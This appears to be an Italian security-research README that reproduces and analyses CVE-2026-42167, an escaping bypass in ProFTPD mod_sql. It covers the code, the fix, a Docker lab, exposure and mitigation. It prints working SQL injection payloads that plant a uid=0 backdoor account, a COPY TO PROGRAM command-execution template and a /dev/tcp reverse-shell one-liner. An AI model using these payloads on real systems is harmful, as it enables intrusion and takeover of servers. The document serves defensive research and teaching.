
Analisi indipendente della riproduzione, analisi della causa principale a livello di codice e report di esposizione realistica per CVE-2026-42167 (bypass di is_escaped_text() in mod_sql di ProFTPD).
mod_sql SQL Injection / Auth Bypass / RCERiproduzione indipendente, analisi dettagliata della causa radice a livello di codice e una franca
analisi dell'esposizione per CVE-2026-42167 — il bypass di is_escaped_text() nel
pipeline di logging mod_sql di ProFTPD, divulgato da ZeroPath Research e corretto
in ProFTPD 1.3.9a / 1.3.10rc1.
Costruito e verificato end-to-end in Docker su macOS / Apple Silicon, 2026-04-29.
TL;DR — vedi Bottom line per il quadro realistico dell'esposizione prima di decidere quanto preoccuparti. Questo non è un bug presente nell'installazione predefinita, ma il pattern di quoting pericoloso è il pattern che la documentazione upstream ti dice di usare, quindi una grande frazione delle distribuzioni
mod_sqllo eredita.
| Campo | Valore |
|---|
| CVE | CVE-2026-42167 |
| CWE | CWE-89 (SQL Injection), CWE-78 (OS Command Injection — via PG COPY TO PROGRAM) |
| Affetti | ProFTPD ≤ 1.3.9 con mod_sql + SQLLog/SQLNamedQuery la cui stringa di formato interpola una variabile controllata dall'attaccante tra virgolette singole |
| Corretto in | 1.3.9a (af90843ba…) / 1.3.10rc1, vedi commit e6f728481 ("Issue #2052") |
| Commit vulnerabile fissato | ae25959adb05ae1d6ebfa1f36bf778c9c34e9410 |
| File vulnerabile | contrib/mod_sql.c righe 741–758 (is_escaped_text) e riga 777 (sql_resolved_append_text) |
| Divulgazione originale | https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce |
| PoC pubblico | https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc |
| Note di rilascio | http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1 |
is_escaped_text() in contrib/mod_sql.cmod_sql risolve le variabili del formato di logging (%U, %{basename}, ecc.) e
aggiunge ogni pezzo nella SQL renderizzata tramite sql_resolved_append_text().
Per preservare la compatibilità all'indietro con le configurazioni admin che già racchiudono
le variabili in '…', la funzione chiama is_escaped_text() per decidere
se sql_escapestring è necessario:```c
/* contrib/mod_sql.c — vulnerable commit ae25959 */
741 static int is_escaped_text(const char text, size_t text_len) {
742 register unsigned int i;
743
744 if (text[0] != ''') return FALSE;
745 if (text[text_len-1] != ''') return FALSE;
746 for (i = 1; i < text_len-1; i++)
747 if (text[i] == ''') return FALSE;
748 return TRUE;
749 }
…
777 if (is_escaped_text(text, text_len) == FALSE) {
… / …sql_escapestring()… */
790 } else {
791 pr_trace_msg(trace_channel, 17,
792 "text '%s' is already escaped, skipping escaping it again", text);
793 new_text = (char *) text;
794 new_textlen = text_len;
795 }
Il controllo è puramente strutturale: non può distinguere *"già escapato da
codice fidato"* da *"creato da un attaccante per sembrare già escapato."*
Qualsiasi valore fornito dal client che corrisponda a `'<no-internal-quotes>'` salta
`sql_escapestring` e viene concatenato grezzo nella query finale.
La configurazione standard e documentata racchiude `%U` / `%{basename}` / `%m` tra virgolette singole:```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog ERR_* log_activity
Quando l’attaccante invia USER '<payload>' (virgolette di apertura e chiusura, senza
virgolette interne), il resolver sostituisce %U senza escape, producendo
''<payload>'' nel SQL — i literal di stringa vuota chiudono le
virgolette circostanti e <payload> viene eseguito come SQL grezzo. Con PostgreSQL
(PQexec) e SQLite (sqlite3_exec), le query impilate sono supportate, quindi
<payload> può essere qualsiasi sequenza di istruzioni.
Poiché SQLLog ERR_* scatta sui login falliti e %U viene impostato da
USER prima dell’autenticazione, l’attacco è completamente non autenticato.
e6f728481, "Issue #2052")sql_resolved_append_text() acquisisce un parametro already_escaped. I chiamanti
che risolvono valori dall’input del client passano FALSE e ora passano
attraverso sql_escapestring incondizionatamente — l’euristica is_escaped_text() è
ancora applicata per il percorso legittimo "config con valore pre-escaped", ma
non si applica più ai dati controllati dall’attaccante.
+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+
- Entrambi i container vengono avviati tramite `setup/docker-compose.yml`.
- `setup/proftpd.conf` abilita la configurazione di logging vulnerabile (vedi §1).
- `setup/seed.sql` crea `users`, `groups`, `activity_log`, `xfer_log`,
e `secrets`, oltre a un singolo utente FTP legittimo `ftpuser / ftppass`.
---
## 3. Riproduzione — copia e incolla
Prerequisiti: Docker Desktop, Python 3.10+, git. (`uv` è opzionale; i
PoC richiedono solo la libreria standard.)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc
# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
# - clones proftpd source pinned to ae25959a (vulnerable)
# - builds with --with-modules=mod_sql:mod_sql_postgres
# - starts both containers, waits for healthchecks
# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121
# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "SELECT userid,uid,gid,homedir,shell FROM users;"
# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
--host localhost --port 2121 --user ftpuser --password ftppass
# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt
# 7) tear down
cd setup && ./teardown.sh
Le due varianti interattive nel repository upstream
(preauth_user_rce.py, postauth_stor_rce.py) sono non modificate e aprono
una reverse shell basata su PTY. Usano la stessa primitiva della variante
marker — basta sostituire il comando shell con bash -i >& /dev/tcp/<host>/<port> 0>&1 e mettersi in ascolto su <port> per prima.
USER, %U)```USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x
Perché funziona:
1. Le **virgolette esterne + nessuna virgoletta interna** corrispondono a
`is_escaped_text()` → l'escape viene saltato.
2. La `SQLNamedQuery` configurata è `INSERT "'%U', '%r', '%m'" activity_log`,
quindi la SQL renderizzata diventa
`INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>')` — ma
`<payload>` stesso inizia con `'`, quindi la query effettiva è
`INSERT INTO activity_log VALUES('', null, null); INSERT INTO users
VALUES($$backdoor$$,…); --', '<%r>', '<%m>')`.
3. `--` commenta i segnaposto di formato finali.
4. Il dollar-quoting di PostgreSQL `$$…$$` ci consente di passare stringhe (`backdoor`,
`pwned123`, `/`, `/bin/bash`) senza mai usare `'` — preservando il
bypass di `is_escaped_text()`.
5. `SQLLog ERR_*` scatta al login fallito → `PQexec()` esegue la
`INSERT INTO users` impilata → l'account backdoor esiste nella tabella di autenticazione.
### Backdoor post-autenticazione (nome file `STOR`, `%{basename}`)```
STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --'
Stesso bypass, trigger diverso. chr(47) = '/' viene usato perché
/ in un nome file viene interpretato come separatore di directory da FTP, quindi
l'attaccante non può inserire un / letterale nel nome file — chr() consente
all'account backdoor di ottenere homedir = '/' senza inviarne uno sulla rete.
USER + COPY TO PROGRAM)```USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$$$; --' PASS x
Dove `<shell-cmd>` è un qualsiasi comando. PostgreSQL lo esegue tramite `/bin/sh`
sull'host del **database** come utente OS `postgres`. Richiede che il ruolo DB
usato da `mod_sql` sia un superutente (o membro di
`pg_execute_server_program`) — comune in distribuzioni single-tenant e
il default per l'immagine Docker ufficiale di `postgres` quando il ruolo viene
creato tramite `POSTGRES_USER`.
---
## 5. Prove acquisite durante la riproduzione
| File | Cosa mostra |
|---|---|
| `logs/01_preauth_backdoor.log` | Output PoC pre-autenticazione, login come `backdoor` riesce (`230`) |
| `logs/02_db_users_after.log` | La tabella `users` ora contiene `backdoor / pwned123 / uid=0` |
| `logs/03_postauth_stor_backdoor.log` | Output PoC post-autenticazione tramite STOR `%{basename}` |
| `logs/05_preauth_rce_marker.log` | Payload marker inviato via FTP |
| `logs/06_users_final.log` | Stato finale della tabella `users` |
| `logs/07_proftpd_trace.log` | Il log di traccia di ProFTPD che stampa `text '…' is already escaped, skipping escaping it again` per ogni payload iniettato — prova diretta che `is_escaped_text()` restituisce TRUE su input dell'attaccante |
| `logs/08_rce_proof.log` | `/tmp/cve-2026-42167-rce.txt` scritto *dall'utente postgres* sul container postgres |
| `screenshots/*.png` | Rendering PNG di ogni sessione terminale catturata |
La riga del log di traccia è la prova schiacciante:```
2026-04-29 06:35:11,297 [548] <sql:17>: text '', null, null); INSERT INTO users
VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --''
is already escaped, skipping escaping it again
Quel messaggio viene emesso in contrib/mod_sql.c:791 solo quando
is_escaped_text() restituisce TRUE — cioè esattamente il bypass.
Rilevamento (forensics su un server in produzione):
grep "is already escaped, skipping escaping it again" /var/log/proftpd/trace.log
con Trace sql:17 abilitato registra ogni tentativo di injection che ha raggiunto il
bypass.activity_log (o qualsiasi tabella in cui scrive SQLNamedQuery INSERT):
le righe in cui la colonna username inizia con una virgoletta estranea, contiene null, null);, o contiene INSERT/COPY TO PROGRAM/UPDATE sono prove.users per account con uid=0, homedir='/', o shell
impostata su una shell reale quando la policy prevede /sbin/nologin.Mitigazione:
e6f728481).SQLNamedQuery (sostituisci '%U'
con il più sicuro %U solo all'interno di backend parametrizzati, oppure usa la registrazione
su file in chiaro per i login falliti).mod_sql non sia un
superutente — da solo questo elimina il percorso RCE COPY TO PROGRAM (il bypass dell'autenticazione
tramite INSERT INTO users impilato funziona ancora, ma il raggio d'esplosione
è contenuto al database proftpd).. ├── README.md # this file ├── poc/ # ZeroPath PoC, cloned │ ├── README.md │ ├── pocs/ │ │ ├── preauth_user_backdoor.py │ │ ├── preauth_user_rce.py │ │ ├── preauth_rce_marker.py # added — non-interactive RCE proof │ │ ├── postauth_stor_backdoor.py │ │ └── postauth_stor_rce.py │ └── setup/ │ ├── docker-compose.yml │ ├── Dockerfile.proftpd │ ├── proftpd.conf │ ├── seed.sql │ ├── setup.sh │ └── teardown.sh ├── logs/ # raw terminal output captured during reproduction └── screenshots/ # PNG renders of each log ├── 00_overview.png ├── 01_preauth_backdoor.png ├── 02_db_users_after.png ├── 03_postauth_stor_backdoor.png ├── 04_preauth_rce_marker.png ├── 05_rce_proof.png ├── 06_proftpd_trace.png └── 07_users_final.png
---
## 8. È realistico — o un caso limite artificioso?
La risposta onesta: **più ristretto di un worm "invia un pacchetto e possiedi il server", ma il pattern vulnerabile è nella documentazione ufficiale di ProFTPD, quindi non è artificioso.** Tre dimensioni indipendenti determinano se una determinata distribuzione è colpita, e ciascuna riduce la popolazione.
### 8.1 `mod_sql` è persino caricato?
`mod_sql` è opt-in. **Non** è nel build predefinito di ProFTPD e non è nella configurazione predefinita dei pacchetti delle distribuzioni come `proftpd-basic` di Debian. Lo hai solo se:
- Hai compilato con `--with-modules=mod_sql:mod_sql_<backend>`, oppure
- Hai installato un pacchetto specifico per il backend: Debian `proftpd-mod-pgsql` / `proftpd-mod-mysql` / `proftpd-mod-sqlite`, RHEL `proftpd-postgresql` / `proftpd-mysql`.
Le persone installano questi pacchetti per un motivo chiaro: **autenticazione** basata su SQL (utenti in un DB invece di `/etc/passwd`) o **registrazione attività** basata su SQL per audit. Entrambe sono comuni in ambienti di hosting condiviso, FTP gestito e drop FTP aziendali. Quindi `mod_sql` è una parte reale della base installata — solo non "ogni server."
### 8.2 Il pattern vulnerabile `SQLNamedQuery` è effettivamente utilizzato?
È qui che il realismo è più alto. Il pattern che innesca il bug *è quello documentato.* Esempi presi direttamente dall'albero upstream al commit vulnerabile fissato:```
# doc/contrib/mod_sql.html ── canonical example
SQLNamedQuery insertfileinfo INSERT "'%f', %b, '%u@%v', now()" filehistory
SQLLog RETR,STOR insertfileinfo
# doc/howto/SQL.html
SQLNamedQuery log_sess FREEFORM "INSERT INTO login_history
(user, client_ip, server_ip, protocol, when)
VALUES ('%u', '%a', '%V', '%{protocol}', NOW())"
SQLLog PASS log_sess IGNORE_ERRORS
# doc/modules/mod_redis.html
SQLNamedQuery upload FREEFORM "INSERT INTO ftplogs (...) VALUES
('%u', '%H', NOW(), '%r', ..., '%f', ...)"
SQLLog STOR upload
Ogni istanza racchiude una variabile controllata dall'attaccante (%u, %r) tra virgolette singole — esattamente la forma che is_escaped_text() classifica erroneamente. Un amministratore che copia-incolla dalla documentazione ufficiale eredita il pattern vulnerabile. Questo è il motivo principale per prendere la cosa seriamente.
Il percorso completamente non autenticato (USER + %U + SQLLog ERR_*) è il caso più ristretto. Richiede tutte e tre le condizioni:
SQLNamedQuery che interpolì %U (nome utente originale, impostato anche in caso di login fallito) tra virgolette singole — meno comune di %u nelle configurazioni reali, poiché la maggior parte degli amministratori vuole il nome utente riuscito per l'audit e usa %u.SQLLog che scatta prima dell'autenticazione. SQLLog ERR_* è il wildcard canonico per questo. SQLLog PASS … e SQLLog STOR … (le forme più comuni) non lo fanno.Se la configurazione usa %u invece di %U, lo stesso bug produce comunque il bypass dell'autenticazione — ma solo post-auth, cioè l'attaccante ha prima bisogno di qualsiasi credenziale funzionante prima di poter piantare una backdoor uid=0. Nella maggior parte delle configurazioni reali questa è l'esposizione realistica: utente FTP a bassi privilegi → utente FTP equivalente a root tramite un singolo upload.
Il bypass scatta in modo identico su ogni backend, ma ciò che l'attaccante può fare differisce nettamente:
| Backend | Query impilate? | Bypass auth tramite INSERT INTO users | RCE sull'host del DB |
|---|---|---|---|
| PostgreSQL | Sì (PQexec) | Funziona | Sì tramite COPY TO PROGRAM se il ruolo del DB è superuser |
| SQLite | Sì (sqlite3_exec) | Funziona (e il worker FTP spesso ha PRIVS_ROOT — ancora peggio) | Nessun equivalente diretto, ma tabella users scrivibile → login FTP come root |
| MySQL | No — mysql_real_query senza CLIENT_MULTI_STATEMENTS | Non può aggiungere una seconda istruzione; si riduce a subquery a singola istruzione / SQLi cieca solo per esfiltrazione dati | No |
PostgreSQL o SQLite ⇒ impatto completo. MySQL ⇒ solo leak di dati / blind basato sul tempo. MySQL è di gran lunga il backend più comune per l'hosting condiviso (cPanel, Plesk, ISPConfig lo usano tutti come default); PostgreSQL è più comune nelle build enterprise personalizzate. Entrambe le popolazioni sono non trascurabili.
L'RCE di punta COPY TO PROGRAM richiede inoltre che il ruolo PostgreSQL di mod_sql sia un superuser (o un membro di pg_execute_server_program). Cioè:
POSTGRES_USER dell'immagine Docker ufficiale postgres (il default per la maggior parte dei lab PoC e molte immagini appliance, incluso setup/ di questo repo).Se il ruolo non è un superuser, ottieni comunque la primitiva di bypass dell'autenticazione (di per sé critica), ma l'RCE a livello di OS sull'host del DB scompare.
ProFTPD installs └── ~with mod_sql loaded ←── opt-in but common in shared/managed FTP ├── ~with the canonical SQLNamedQuery INSERT pattern (most do — it's │ the documented form) │ ├── PostgreSQL backend │ │ ├── DB role = superuser → pre-/post-auth RCE on DB host │ │ └── DB role ≠ superuser → post-auth root FTP backdoor (auth bypass) │ ├── SQLite backend → post-auth root FTP backdoor │ │ (worker often runs as root → very bad) │ └── MySQL backend → post-auth blind SQLi / data exfil only └── ~with attacker-controlled %U + SQLLog ERR_* (uncommon) → fully pre-auth versions of the above
---
## 10. Raccomandazione
Per chiunque esegua ProFTPD `mod_sql`:
- **Aggiornare** a ≥ 1.3.9a in ogni caso. È l'unica correzione completa.
- **Controlli compensativi** finché non si può applicare la patch:
- Ridurre il ruolo del DB a **non-superuser** — elimina il ramo RCE su
PostgreSQL.
- Controllare la tabella `users` / di autenticazione per righe `uid=0`
estranee o account aggiunti di recente — vedi §6.
- Abilitare `Trace sql:17` e cercare
`is already escaped, skipping escaping it again` in `trace.log` — quella
riga è la prova diretta di un tentativo di bypass.
- Se possibile, rimuovere le direttive `SQLLog ERR_*` e qualsiasi formato
`SQLNamedQuery INSERT` che interpolano `%U` (la primitiva pre-autenticazione).
Il percorso post-autenticazione esisterà comunque tramite `%u` /
`%{basename}`, ma si elimina il caso peggiore.
---
## 11. In sintesi
- **Non** è una "vulnerabilità da installazione predefinita" — è necessario
eseguire `mod_sql`.
- **È** una "vulnerabilità da seguire-la-documentazione" — il pattern di
quoting pericoloso è quello ufficiale, copiato e incollato nei HOWTO
upstream.
- Lo scenario **completamente non autenticato** del titolo è reale ma
richiede una combinazione di configurazione specifica (pre-auth `%U` +
wildcard `SQLLog ERR_*`) meno comune del percorso post-autenticazione.
- Lo scenario di **escalation dei privilegi post-autenticazione** (qualsiasi
utente FTP → backdoor FTP uid=0) è quello molto più realistico e si applica
a una larga frazione delle distribuzioni `mod_sql` + PostgreSQL/SQLite che
usano i pattern di logging documentati.
- La **RCE a livello di OS sull'host del DB** è condizionata dal fatto che il
ruolo del DB sia un superuser — comune in configurazioni single-tenant /
appliance, meno comune in ambienti gestiti da DBA.
---
## Crediti
- Vulnerabilità scoperta e originariamente divulgata da
[ZeroPath Research](https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce).
- Repository PoC pubblico:
[ZeroPathAI/proftpd-CVE-2026-42167-poc](https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc).
- Correzione di TJ Saunders, commit
[`e6f72848`](https://github.com/proftpd/proftpd/commit/e6f728481b25e2a79590c1c1043417f0232e2f48)
("Issue #2052").
Questo repository è una riproduzione e analisi indipendente per ricerca
difensiva e istruzione. Nessun 0-day. Utilizzare solo su sistemi su cui si è
autorizzati a testare.